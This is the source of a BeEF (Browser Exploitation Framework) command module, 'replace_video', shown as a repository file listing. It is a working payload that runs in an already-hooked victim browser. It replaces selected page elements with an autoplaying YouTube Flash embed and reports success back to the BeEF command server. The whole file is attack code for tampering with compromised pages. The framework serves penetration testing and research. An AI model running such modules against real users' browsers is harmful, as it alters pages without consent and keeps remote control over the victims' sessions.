Files
beef/modules/browser/hooked_origin/replace_video/command.js
2024-10-23 16:07:17 +10:00

15 lines
735 B
JavaScript

//
// Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
$j('<%= @jquery_selector %>').each(function(){
var width = $j(this).css('width');
var height = $j(this).css('height');
$j(this).replaceWith('<embed src="http://www.youtube.com/v/<%= @youtube_id %>?fs=1&amp;hl=en_US&amp;autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="' + width + '" height="' + height + '">');
});
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Replace Video Successful");
});